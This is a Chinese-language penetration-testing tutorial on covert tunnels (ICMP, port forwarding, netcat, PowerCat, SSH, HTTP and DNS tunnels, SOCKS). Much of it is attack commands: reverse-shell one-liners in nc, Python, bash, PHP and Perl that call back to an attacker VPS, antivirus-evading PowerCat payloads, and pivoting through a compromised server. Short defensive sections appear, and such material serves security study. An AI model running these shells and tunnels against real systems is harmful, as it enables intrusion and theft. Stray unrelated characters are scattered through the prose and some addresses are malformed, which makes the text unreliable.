隱藏通信隧道技術(shù)
一、隱藏通信隧道基礎(chǔ)知識(shí)
1. 隱藏通信隧道概述
什么是隧道做葵?這里的隧道就是一種繞過端口屏蔽的通信方式稚虎。隱藏通信隧道技術(shù)常用于在訪問受限的網(wǎng)絡(luò)環(huán)境中追蹤數(shù)據(jù)流向和在非受信任的網(wǎng)絡(luò)中實(shí)現(xiàn)安全的數(shù)據(jù)傳輸。
常用的隧道技術(shù):
網(wǎng)絡(luò)層:IPv6隧道窃诉、ICMP隧道豆胸、GRE隧道
傳輸層:TCP隧道奥洼、UDP隧道、常規(guī)的端口轉(zhuǎn)發(fā)晚胡。
應(yīng)用層:SSH隧道灵奖、DNS隧道、HTTP隧道搬泥、HTTPS隧道
2. 判斷內(nèi)網(wǎng)的連通性
判斷內(nèi)網(wǎng)的連通性是指判斷主機(jī)能否上外網(wǎng)等桑寨。常見的允許流量流出的端口有80、8080忿檩、443尉尾、53、110燥透、123等沙咏。
2.1 ICMP協(xié)議
- ping:命令:ping <IP地址>
2.2 TCP協(xié)議
- netcat:“瑞士軍刀”,簡(jiǎn)稱“nc”班套。通過使用TCP/UDP的網(wǎng)絡(luò)連接來讀寫數(shù)據(jù)肢藐。使用命令:nc -zv <IP 端口號(hào)>
2.3 HTTP協(xié)議
curl:curl是一個(gè)利用URL規(guī)則在命令行下工作的綜合文件傳輸工具。
使用命令:curl < IP:端口號(hào) >
2.4 DNS協(xié)議
nslookup(windows)
dig(linux)
2.5 代理服務(wù)器
有時(shí)候企業(yè)辦公網(wǎng)利用代理服務(wù)器進(jìn)行上網(wǎng)吱韭,判斷方法:
查看網(wǎng)絡(luò)連接
查看主機(jī)名是否有”proxy“的主機(jī)
查看IE的代理
二吆豹、網(wǎng)絡(luò)層隧道技術(shù)
1. IPv6隧道
IPv6隧道技術(shù)是指通過IPv4隧道傳送的IPv6數(shù)據(jù)報(bào)文的技術(shù)。為了使在IPv4網(wǎng)絡(luò)中傳遞IPv6報(bào)文,可以將IPv4作為載體痘煤,將IPv6報(bào)文整體封裝在IPv4數(shù)據(jù)報(bào)文中凑阶。
攻擊方式:攻擊者通過惡意軟件來配置允許進(jìn)行IPv6通信的設(shè)備。支持IPv6的隧道工具:socat衷快、6tunnel宙橱、nt6tunnel等。
防御措施:了解IPv6漏洞蘸拔,綜合其他協(xié)議师郑、設(shè)備來過濾IPv6通信。
2. ICMP隧道
攻擊者可以將TCP/UDP數(shù)據(jù)封裝在ICMP的ping包中调窍,從而穿越防火墻宝冕。常見的icmp隧道工具:icmpsh、PingTunnel陨晶、icmptunnel猬仁、powershell icmp等
-
icmpsh
git clone https://github.com/inquisb/icmpsh.git 下載icmp
apt-get install python-impacket 安裝python-impacket庫(kù)
sysctl -w net.ipv4.icmp_echo_ignore_all=1 關(guān)閉系統(tǒng)ICMP應(yīng)答(恢復(fù)則設(shè)置為0)
輸入"./run.sh"并運(yùn)行后輸入目標(biāo)的IP地址帝璧。
icmpsh.exe -t 192.168.1.7 -d 500 -b 30 -s 128 目標(biāo)主機(jī)上運(yùn)行此條命令先誉,可在攻擊機(jī)192.168.1.7上看到反彈的shell結(jié)果。
-
PingTunnel(可以為隧道加密)
-
在VPS與Web服務(wù)器上安裝編譯
tar xf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
遇到報(bào)錯(cuò)--解決
-
運(yùn)行PingTunnel
服務(wù)器(IP:192.168.1.4):ptunnel -x shuteer
VPS:ptunnel -p 192.168.1.4 -lp 1080 -da 1.1.1.10 -dp 3389 -x shuteer
-
參數(shù)說明:
-x 指定 icmp 隧道連接驗(yàn)證密碼
-lp 指定要監(jiān)聽的本地 tcp 端口
-da 指定要轉(zhuǎn)發(fā)的機(jī)器的 ip 地址
-dp 指定要轉(zhuǎn)發(fā)的機(jī)器的 tcp 端口
-p 指定icmp隧道另一端機(jī)器的 ip 地址
-
3. 防御ICMP隧道攻擊的方法
檢測(cè)同一來源的ICMP數(shù)據(jù)包的流量的烁,一個(gè)正常的icmp命令每秒最多發(fā)送2個(gè)數(shù)據(jù)包褐耳。
注意那些payload大于64bit的icmp數(shù)據(jù)包。
尋找響應(yīng)數(shù)據(jù)包中的payload與請(qǐng)求數(shù)據(jù)包中的payload不一致的ICMP數(shù)據(jù)包渴庆。
檢查ICMP數(shù)據(jù)包的協(xié)議標(biāo)簽铃芦。例如:icmptunnel會(huì)在所有的icmp payload前面添加”TUNL“標(biāo)記來標(biāo)識(shí)隧道。
三襟雷、傳輸層隧道技術(shù)
1. lcx端口轉(zhuǎn)發(fā)
? lcx是一個(gè)基于Socket套接字實(shí)現(xiàn)的端口轉(zhuǎn)化工具刃滓,Windows版為lcx.exe,Linux版為portmap耸弄。Socket隧道必須具備兩端:一端為服務(wù)端咧虎,監(jiān)聽一個(gè)端口,等待客戶連接计呈;另一端為客戶端砰诵,通過傳入服務(wù)端的IP地址與端口,才能主動(dòng)與服務(wù)器連接捌显。
- 內(nèi)網(wǎng)端口轉(zhuǎn)發(fā)
舉例:將目標(biāo)主機(jī)的3389端口的所有數(shù)據(jù)轉(zhuǎn)發(fā)到公網(wǎng)VPS的4444端口上茁彭。在目標(biāo)主機(jī)上執(zhí)行命令,命令如下:
lcx.exe -slave <公網(wǎng)IP地址> 4444 127.0.0.1 3389
將VPS上的4444端口上監(jiān)聽的所有數(shù)據(jù)轉(zhuǎn)發(fā)到5555端口上扶歪,命令如下:
lcx.exe -listen 4444 5555
然后在VPS上用mstsc登錄主機(jī)127.0.0.1的5555端口理肺,即可訪問目標(biāo)服務(wù)器的3389端口。
- 本地端口轉(zhuǎn)發(fā)
如果目標(biāo)服務(wù)器由于防火墻的限制,部分端口如3389的數(shù)據(jù)無法通過防火墻妹萨,這時(shí)就可以將目標(biāo)服務(wù)器相應(yīng)端口的數(shù)據(jù)透?jìng)鞯椒阑饓υ试S的端口如53贪薪。在目標(biāo)主機(jī)上執(zhí)行如下命令即可。
lcx -tran 53 <目標(biāo)主機(jī)IP地址> 3389
2. netcat
netcat簡(jiǎn)稱nc眠副,作為安全界的瑞士軍刀画切,功能非常強(qiáng)大。
2.1 安裝
安裝的具體步驟見www.baidu.com
2.2 簡(jiǎn)單使用參數(shù)
-d 后臺(tái)模式
-e 程序重定向
-g <網(wǎng)關(guān)> 設(shè)置路由器躍程通信網(wǎng)關(guān)囱怕,最多可設(shè)置8個(gè)霍弹;
-G <指向器數(shù)目> 設(shè)置來源路由指向器,其數(shù)值為4的倍數(shù)娃弓;
-h 在線幫助典格;
-i <延遲秒數(shù)> 設(shè)置時(shí)間間隔,以便傳送信息及掃描通信端口台丛;
-l 使用監(jiān)聽模式耍缴,管控傳入的資料;
-n 直接使用IP地址挽霉,而不通過域名服務(wù)器防嗡;
-o <輸出文件> 指定文件名稱,把往來傳輸?shù)臄?shù)據(jù)以16進(jìn)制字碼傾倒成該文件保存侠坎;
-p <通信端口> 設(shè)置本地主機(jī)使用的通信端口蚁趁;
-r 隨機(jī)指定本地與遠(yuǎn)端主機(jī)的通信端口;
-s <來源位址> 設(shè)置本地主機(jī)送出數(shù)據(jù)包的IP地址实胸;
-u 使用UDP傳輸協(xié)議他嫡;
-v 詳細(xì)輸出;
-w <超時(shí)秒數(shù)> 設(shè)置等待連線的時(shí)間庐完;
-z 將輸入輸出關(guān)掉钢属,只在掃描通信端口時(shí)使用。
以上為netcat的參數(shù)信息门躯,需要實(shí)現(xiàn)具體功能時(shí)到上網(wǎng)查具體的命令即可淆党。
常用的具體功能有:
Banner抓取
連接遠(yuǎn)程主機(jī)
端口掃描
端口監(jiān)聽
文件傳輸
簡(jiǎn)易聊天
...
2.3 獲取Shell
? shell分兩種,一種為正向shell生音,一種為反向shell宁否。如果客戶端連接服務(wù)器,客戶端想得獲取服務(wù)器的shell缀遍,就稱為正向shell慕匠。如果客戶端連接服務(wù)器,服務(wù)器想要獲取客戶端的shell域醇,就稱為反向shell台谊。
- 正向Shell獲取
目標(biāo)主機(jī)上(IP:192.168.1.11)監(jiān)聽4444端口:
nc -lvp 4444 -e /bin/sh //linux
nc -lvp 4444 -e C:\WINDOWS\system32\cmd.exe //windows
注:-l 表示監(jiān)聽模式蓉媳,-v表示詳細(xì)輸出,-p 指定端口
VPS連接目標(biāo)主機(jī)的4444端口:
nc 192.168.1.11 4444
- 反向Shell獲取
本地主機(jī)(VPS)監(jiān)聽9999端口:
nc -lvp 9999
在目標(biāo)主機(jī)上進(jìn)行連接:
nc 192.168.11.144 9999 -e /bin/sh //linux
nc 192.168.11.144 9999 -e C:\WINDOWS\system32\cmd.exe //windows
2.4 在目標(biāo)主機(jī)中沒有nc時(shí)獲取反向Shell
2.4.1 python反向Shell
- VPS上監(jiān)聽本地2222端口:
nc -lvp 2222
- 在目標(biāo)主機(jī)上執(zhí)行命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.4",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
2.4.2 bash反向Shell
- VPS上監(jiān)聽本地4444端口:
nc -lvp 4444
- 在目標(biāo)主機(jī)上執(zhí)行命令:
bash -i >& /dev/tcp/192.168.1.4/4444 0>&1
2.4.3 PHP反向Shell
- 在VPS上監(jiān)聽本地2222端口:
nc -lvp 2222
- 在目標(biāo)主機(jī)上執(zhí)行下面命令:
php -r '$sock=fsockopen("192.168.1.4",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
3.4.4 perl反向Shell
- 在VPS上監(jiān)聽本地4444端口
nc -lvp 4444
- 如果目標(biāo)機(jī)上使用的是Perl語言锅铅,則我們可以使用Perl來建立反向Shell酪呻。目標(biāo)主機(jī)上執(zhí)行命令:
perl -e 'use Socket;$i=”192.168.1.4″;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};'
2.5 內(nèi)網(wǎng)代理
拓?fù)鋱D如下:
測(cè)試環(huán)境:攻擊者VPS(KALI);一個(gè)小型內(nèi)網(wǎng)盐须;三臺(tái)服務(wù)器玩荠。假設(shè)已經(jīng)取得Web服務(wù)器權(quán)限,kali不能訪問數(shù)據(jù)庫(kù)服務(wù)器linux贼邓,web服務(wù)器可以訪問數(shù)據(jù)庫(kù)服務(wù)器阶冈。
測(cè)試目標(biāo):獲取數(shù)據(jù)庫(kù)服務(wù)器的shell。步驟如下:
- 首先要在VPS上監(jiān)聽3333端口
nc -lvp 3333
- 數(shù)據(jù)庫(kù)服務(wù)器上允許命令:
nc -lvp 3333 -e /bin/sh
- 最后在web服務(wù)器上執(zhí)行命令:
nc -v 192.168.1.4 3333 -c "nc -v 1.1.1.200 3333"
注:-e 表示程序重定向塑径,-c 執(zhí)行命令
3. PowerCat
PowerCat可以說是nc的PowerShell版本女坑,PowerCat可以通過執(zhí)行命令回到本地運(yùn)行,也可以使用遠(yuǎn)程權(quán)限運(yùn)行统舀。里面也加入了眾多好用的功能匆骗,如文件上傳,smb協(xié)議支持誉简,中繼模式碉就,生成payload,端口掃描等等描融。
3.1 下載PowerCat
具體下載安裝步驟百度即可铝噩。
3.2 測(cè)試環(huán)境
環(huán)境介紹:
Kali:192.168.227.129衡蚂;
Windows7:192.168.227.161窿克、192.168.130.150
Windows server 2008:192.168.130.100
3.3 通過nc正向連接PowerCat
- Windows7執(zhí)行命令:
powercat -l -p 8080 -e cmd.exe -v
- Kali上運(yùn)行:
nc 192.168.277.161 8080 -vv
注:-l 監(jiān)聽模式;-p 指定監(jiān)聽端口毛甲;-e 指定要啟動(dòng)進(jìn)程的名稱年叮;-v 顯示詳情
3.4 通過nc反向連接PowerCat
- Kali上運(yùn)行:
netcat -l -p 8888 -vv
- 在Windows7上運(yùn)行下面命令:
powercat -c 192.168.56.129 -p 8888 -v -e cmd.exe
注:在Windows下,-c 表示參數(shù)用戶提供想要連接的IP地址
3.5 通過PowerCat返回PowerShell
? 前面的操作都是可以與nc進(jìn)行交互的玻募,但是只损,如果想要返回Powershell,則無法與nc進(jìn)行交互七咧。下面介紹讓W(xué)indows7與Windows Server 2008建立正向連接跃惫。
- 在Windows7下執(zhí)行命令:
powecat -l -p 8080 –v
- 在Windows Server 2008下執(zhí)行命令:
powercat -c 192.168.130.150 -p 8080 -v –ep
注:-ep 參數(shù)用于返回PowerShell
3.6 通過PowerCat傳輸文件
- Windows7下執(zhí)行命令:
powercat -l -p 8080 -of c:\Users\ctfwin7\Desktop\flag.txt -v
- Windows Server 2008下執(zhí)行命令:
powercat -c 192.168.130.150 -p 8080 -i c:\flag.txt -v
上述命令的解釋是:Windows Server 2008將文件c:\flag.txt通過端口8080傳輸給Windows7,Windows7將文件存放于c:\Users\ctfwin7\Desktop\下艾栋,
注:-i 輸入爆存;-of 輸出文件名
3.7 用PowerCat生成Payload(躲避殺軟)
- Windows7下執(zhí)行:
powercat -l -p 8080 -e cmd -v -g >> shell.ps1 //想反彈shell
powercat -l -p 8080 -ep -v -g >> shell.ps1 //想反彈PowerShell
- 將生成的shell.ps1拿到Windows server 2008下執(zhí)行:
./shell.ps1
- 最后Windows7上執(zhí)行下面命令即可獲得反彈的shell
powercat -c 192.168.130.100 -p 8000 -v
PS:也可以使用-ge生成編碼后的腳本,然后直接使用powershell -e <編碼>進(jìn)行執(zhí)行蝗砾。
3.8 PowerCat DNS隧道
? PowerCat也是一套基于DNS通信先较,PowerCat的DNS的通信是基于dnscat設(shè)計(jì)的(其服務(wù)端就是dnscat)携冤。
- 在kali下下載安裝dnscat(請(qǐng)百度)
- kali下執(zhí)行:
ruby dns2.rb ms08067.test -e open --no-cache
- Windows7下執(zhí)行以下命令后就可以在kali看到dnscat上反彈的Shell了。
powercat -c 192.168.227.129 -p 53 -dns ms08067.test -e cmd.exe
注:-dns 表示使用DNS通信闲勺。
3.9 將PowerCat作為跳板
將win7作為跳板曾棕,讓Kali連接winserver2008。
- Windows server 2008下執(zhí)行:
Powercat -l -v -p 9999 -e cmd.exe
- Windows 7下執(zhí)行:
Powercat -l -v -p 8000 -r tcp:192.168.130.100:9999
- Kali下執(zhí)行:
nc 192.168.227.161 8000 –vv
最后菜循,kali和win7進(jìn)行連接翘地,且win7就可以將流量轉(zhuǎn)發(fā)給winserver2008了。
四癌幕、應(yīng)用層隧道技術(shù)
應(yīng)用層的隧道通信技術(shù)主要利用應(yīng)用軟件提供的端口發(fā)送數(shù)據(jù)子眶。常用的隧道協(xié)議有SSH、HTTPS/HTTPS與DNS序芦。
1. SSH隧道
1.1 SSH簡(jiǎn)介
-
SSH 端口轉(zhuǎn)發(fā)能夠提供兩大功能:
1.加密 SSH Client 端至 SSH Server 端之間的通訊數(shù)據(jù)臭杰。
2.突破防火墻的限制完成一些之前無法建立的 TCP 連接。
-
用戶名密碼登錄原理
1.遠(yuǎn)程主機(jī)收到用戶的登錄請(qǐng)求谚中,把自己的公鑰發(fā)給用戶
2.用戶使用該公鑰渴杆,將登錄密碼加密后,發(fā)送給遠(yuǎn)程主機(jī)宪塔。
3.遠(yuǎn)程主機(jī)用自己的私鑰磁奖,解密登錄密碼,如果密碼正確某筐,就用戶登錄比搭。
在學(xué)習(xí)SSH隧道之前,先復(fù)習(xí)下SSH的配置文件吧南誊。SSH的配置文件:/etc/ssh/sshd_config身诺,下面是一些安全加固的選項(xiàng)。
AllowTcpForwarding yes #是否允許轉(zhuǎn)發(fā)TCP協(xié)議
GatewayPorts yes #是否允許遠(yuǎn)程主機(jī)連接本地轉(zhuǎn)發(fā)端口
PermitRootLogin yes #是否允許root登錄
PasswordAuthentication yes #是否允許使用基于密碼的認(rèn)證
TCPKeepAlive yes #保持心跳,防止 ssh 斷開
1.2 本地端口轉(zhuǎn)發(fā)
測(cè)試環(huán)境:外部VPS可以訪問內(nèi)網(wǎng)Web服務(wù)器抄囚,但是不能訪問數(shù)據(jù)庫(kù)服務(wù)器霉赡;內(nèi)網(wǎng)Web服務(wù)器和數(shù)據(jù)庫(kù)服務(wù)器可以相互訪問。
拓?fù)鋱D:
滲透思路:以web服務(wù)器192.168.1.11為跳板幔托,將內(nèi)網(wǎng)數(shù)據(jù)庫(kù)服務(wù)器1.1.1.10的3389端口映射到VPS機(jī)器192.168.1.10的2121端口穴亏,再次訪問VPS的2121端口,就可以訪問1.1.1.10的3389端口了重挑。
在VPS上執(zhí)行以下命令嗓化,會(huì)要求服務(wù)Web服務(wù)器(跳板機(jī))的密碼。
ssh –CfNg –L 2121(VPS端口):1.1.1.10(目標(biāo)主機(jī)IP):3389(目標(biāo)端口) root@192.168.1.11
- 在VPS上訪問1153端口后谬哀,就可以發(fā)現(xiàn)已經(jīng)與數(shù)據(jù)庫(kù)服務(wù)器1.1.1.10的3389端口建立了連接刺覆。
rdesktop 127.0.0.1:1153
-
一些參數(shù)解釋:
-C 壓縮傳輸,加快傳輸速度玻粪。
-f 將SSH轉(zhuǎn)入后臺(tái)執(zhí)行隅津,不占用當(dāng)前的shell诬垂。
-N 建立靜默連接(建立了連接,但是看不到具體會(huì)話)伦仍。
-g 允許遠(yuǎn)程主機(jī)連接到本地用于轉(zhuǎn)發(fā)的端口结窘。
-L 本地端口轉(zhuǎn)發(fā)。
-R 遠(yuǎn)程端口轉(zhuǎn)發(fā)充蓝。
-D 動(dòng)態(tài)轉(zhuǎn)發(fā)(socks代理)隧枫。
-P 指定SSH端口。
1.3 遠(yuǎn)程端口轉(zhuǎn)發(fā)
測(cè)試環(huán)境:外部VPS不能訪問內(nèi)網(wǎng)Web服務(wù)器谓苟,但是Web服務(wù)器可以訪問外網(wǎng)VPS官脓,但是數(shù)據(jù)庫(kù)服務(wù)器與域控都不能訪問VPS。目標(biāo):通過外網(wǎng)VPS訪問數(shù)據(jù)庫(kù)服務(wù)器的3389端口涝焙。
拓樸圖
滲透思路:以web服務(wù)器192.168.1.11為跳板卑笨,將VPS的3307端口的流量轉(zhuǎn)發(fā)到1.1.1.10的3389端口,然后訪問VPS的3307端口仑撞,就可以訪問1.1.1.10的3307端口赤兴。
在web服務(wù)器1.1.1.116上執(zhí)行如下命令:
ssh -CfNg -R 3307(VPS端口):1.1.1.10(目標(biāo)主機(jī)IP):3389(目標(biāo)端口) root@192.168.1.10
- 在本地訪問VPS的端口3307,就可以發(fā)現(xiàn)已經(jīng)與數(shù)據(jù)庫(kù)服務(wù)器1.1.1.10的3389端口建立了連接隧哮。
rdesktop 127.0.0.1:3307
1.4 動(dòng)態(tài)轉(zhuǎn)發(fā)
動(dòng)態(tài)端口映射就是建立一個(gè)SSH加密的SOCKS 4/5代理通道桶良,任何支持SOCKS 4/5協(xié)議的程序都可以使用這個(gè)加密通道進(jìn)行代理訪問。
- 拓樸圖
- 在VPS上執(zhí)行下面命令后沮翔,再輸入Web服務(wù)器的密碼陨帆。
ssh -CfNg -D 7000 root@192.168.1.11
在本地打開瀏覽器。設(shè)置網(wǎng)絡(luò)代理采蚀,設(shè)置SOCKS host為127.0.0.1疲牵,Port為7000。最后通過瀏覽器訪問內(nèi)網(wǎng)域控制器1.1.1.2搏存。
本地主機(jī)查看SSH進(jìn)程正在監(jiān)聽7000端口:
netstat tunpl | grep ":7000"
1.5 防御SSH隧道攻擊的思路
SSH隧道之所以被利用瑰步,主要是因?yàn)橄到y(tǒng)的訪問控制措施還不夠,可以從以下幾點(diǎn)來防御SSH隧道攻擊璧眠。
在系統(tǒng)中設(shè)置SSH遠(yuǎn)程訪問控制白名單,在ACL中限制只允許特定的IP地址才能連接SSH读虏,系統(tǒng)設(shè)置完全帶外管理等责静。
內(nèi)網(wǎng)限制SSH遠(yuǎn)程登錄的地址與雙向訪問控制策略。
2. HTTP/HTTPS協(xié)議
2.1 簡(jiǎn)介
HTTP Service代理用于將所有的流量轉(zhuǎn)發(fā)到內(nèi)網(wǎng)盖桥,常見的代理工具有reGeorg灾螃、meterpreter、tunna等揩徊。
reGeory的特征非常明顯腰鬼。reGeory支持ASPX嵌赠、PHP、JSP等Web腳本熄赡。
2.2 攻擊步驟:
1.將腳本文件上傳至目標(biāo)服務(wù)器中姜挺,使用Kali 在本地訪問遠(yuǎn)程服務(wù)器上的腳本文件,返回后彼硫,利用reGeorySocksProxy.py腳本監(jiān)聽本地的端口炊豪,即可建立一個(gè)通信鏈路。
python reGeorySocksProxy.py -u http://遠(yuǎn)程服務(wù)器IP:8080/tunnel.jsp -p 9999(本地端口)
隧道正常工作后拧篮,可以在本地kali 機(jī)器上使用ProxyChains之類的工具词渤,訪問目標(biāo)內(nèi)網(wǎng)中的資源。
2.3 防御
嚴(yán)格監(jiān)控http隧道的情況串绩,及時(shí)發(fā)現(xiàn)問題缺虐。
3. DNS協(xié)議
3.1 DNS隧道簡(jiǎn)介
用戶管理僵尸網(wǎng)絡(luò)和進(jìn)行APT攻擊的服務(wù)器叫做C&C服務(wù)器(Command and Control Server,命令及控制服務(wù)器)礁凡。C&C節(jié)點(diǎn)分為兩中種志笼,一種是C&C服務(wù)端(攻擊者),另一種是C&C客戶端(被控制的計(jì)算機(jī))把篓。C&C通信是指植入C&C客戶端的木馬或者后門程序與C&C服務(wù)端上的遠(yuǎn)程控制程序之間的通信纫溃。
DNS隧道的工作原理很簡(jiǎn)單:在進(jìn)行DNS查詢時(shí),如果查詢的域名不在DNS服務(wù)器本機(jī)的緩存中韧掩,就會(huì)訪問互聯(lián)網(wǎng)進(jìn)行查詢紊浩,然后返回結(jié)果,如果互聯(lián)網(wǎng)上有一臺(tái)定制的服務(wù)器疗锐,那么依靠DNS協(xié)議就可以進(jìn)行數(shù)據(jù)包的交換坊谁,從DNS協(xié)議的角度來看,這樣的操作只是一次次地查詢某個(gè)特定的域名并且得到解析結(jié)果滑臊,但其本質(zhì)的問題是口芍,預(yù)期的返回結(jié)果應(yīng)該是一個(gè)IP地址,而事實(shí)上不是——返回的可以是任意字符串雇卷,包括加密的C&C指令鬓椭。簡(jiǎn)單地說,就是將其他協(xié)議封裝在DNS協(xié)議中進(jìn)行傳輸关划。
3.2 常用工具及攻擊過程
-
dnscat2
在VPS上部署域名解析
在VPS上安裝dnscat2服務(wù)端
在目標(biāo)主機(jī)上安裝客戶端
反彈shell
iodine
3.3 防御DNS隧道攻擊的方法
禁止網(wǎng)絡(luò)中的任何人向外部服務(wù)器發(fā)送DNS請(qǐng)求小染,只允許與受信任的DNS服務(wù)器通信。
將郵件服務(wù)器/網(wǎng)關(guān)列入白名單并阻止傳入和傳出的流量中的txt請(qǐng)求贮折。
跟蹤用戶的DNS查詢次數(shù)裤翩。
阻止ICMP。
五调榄、SOCKS代理
1. SOCKS代理簡(jiǎn)介
SOCKS是一種代理服務(wù)踊赠,可以將一端的系統(tǒng)連接到另一端呵扛。SOCKS支持多種協(xié)議,包括HTTP筐带、FTP等今穿。SOCKS分為 SOCKS4 與 SOCK5 兩種類型:SOCKS4 只支持TCP協(xié)議;SOCKS5 不僅支持TCP/UDP協(xié)議烫堤,還支持多種身份驗(yàn)證機(jī)制等荣赶,其標(biāo)準(zhǔn)端口號(hào)為1080。SOCKS能與目標(biāo)內(nèi)網(wǎng)計(jì)算機(jī)進(jìn)行通信鸽斟,避免多次端口轉(zhuǎn)發(fā)拔创。
SOCKS代理可以理解為增強(qiáng)版的lcx。它在服務(wù)端監(jiān)聽一個(gè)服務(wù)端口富蓄。當(dāng)有新的連接請(qǐng)求出現(xiàn)時(shí)剩燥,會(huì)先從SOCKS協(xié)議中解析目標(biāo)的URL的目標(biāo)端口,再執(zhí)行l(wèi)cx的具體功能立倍。
正向代理簡(jiǎn)單來說就是主動(dòng)通過代理去訪問目標(biāo)服務(wù)器灭红,反向代理是指目標(biāo)服務(wù)器通過代理來主動(dòng)連接。
2. 常用的SOCKS工具
-
EarthWorm(EW)
正向代理
反向代理
reGeory
sSocks
SocksCap64
Proxifier
ProxyChanis
六口注、壓縮數(shù)據(jù)
1. RAR
1.1 以rar格式壓縮/解壓
將E:\webs\目錄下的所有內(nèi)容打包為1.rar放入E:\webs\目錄下
rar.exe a -k -r -s -m3 E:\webs\1.rar E:\webs\
將E:\webs\1.rar解壓到當(dāng)前根目錄下
rar.exe e E:\webs\1.rar
注:參數(shù) e 表示解壓到當(dāng)前根目錄下变擒。 x 表示以絕對(duì)路徑解壓。
1.2 分卷壓縮/解壓
分卷壓縮E盤API目錄下的所有文件及文件夾寝志,設(shè)置每個(gè)分卷為20M
rar.exe a -m0 -r -v20m E:\test.rar E:\API
將E:\test.part01.rar解壓到E盤的x1目錄下
rar.exe x E:\test.part01.rar E:\x1
2. 7-Zip
七娇斑、文件上傳與下載
1. 利用FTP上傳
2. 利用VBS上傳
3. 利用Debug上傳
4. 利用Nishang上傳
Nishang是一個(gè)Powershell攻擊框架,它是PowerShell攻擊腳本和有效載荷的一個(gè)集合材部。Nishang被廣泛應(yīng)用于滲透測(cè)試的各個(gè)階段毫缆。
5. 利用bitsadmin下載
6. 利用Powershell下載
注:這里說聲抱歉。由于內(nèi)容太多乐导、不易手打苦丁,這里就只是介紹某些概念。一些具體操作可百度查找資料或購(gòu)買書籍《內(nèi)網(wǎng)安全攻防·滲透測(cè)試實(shí)戰(zhàn)指南》查閱物臂。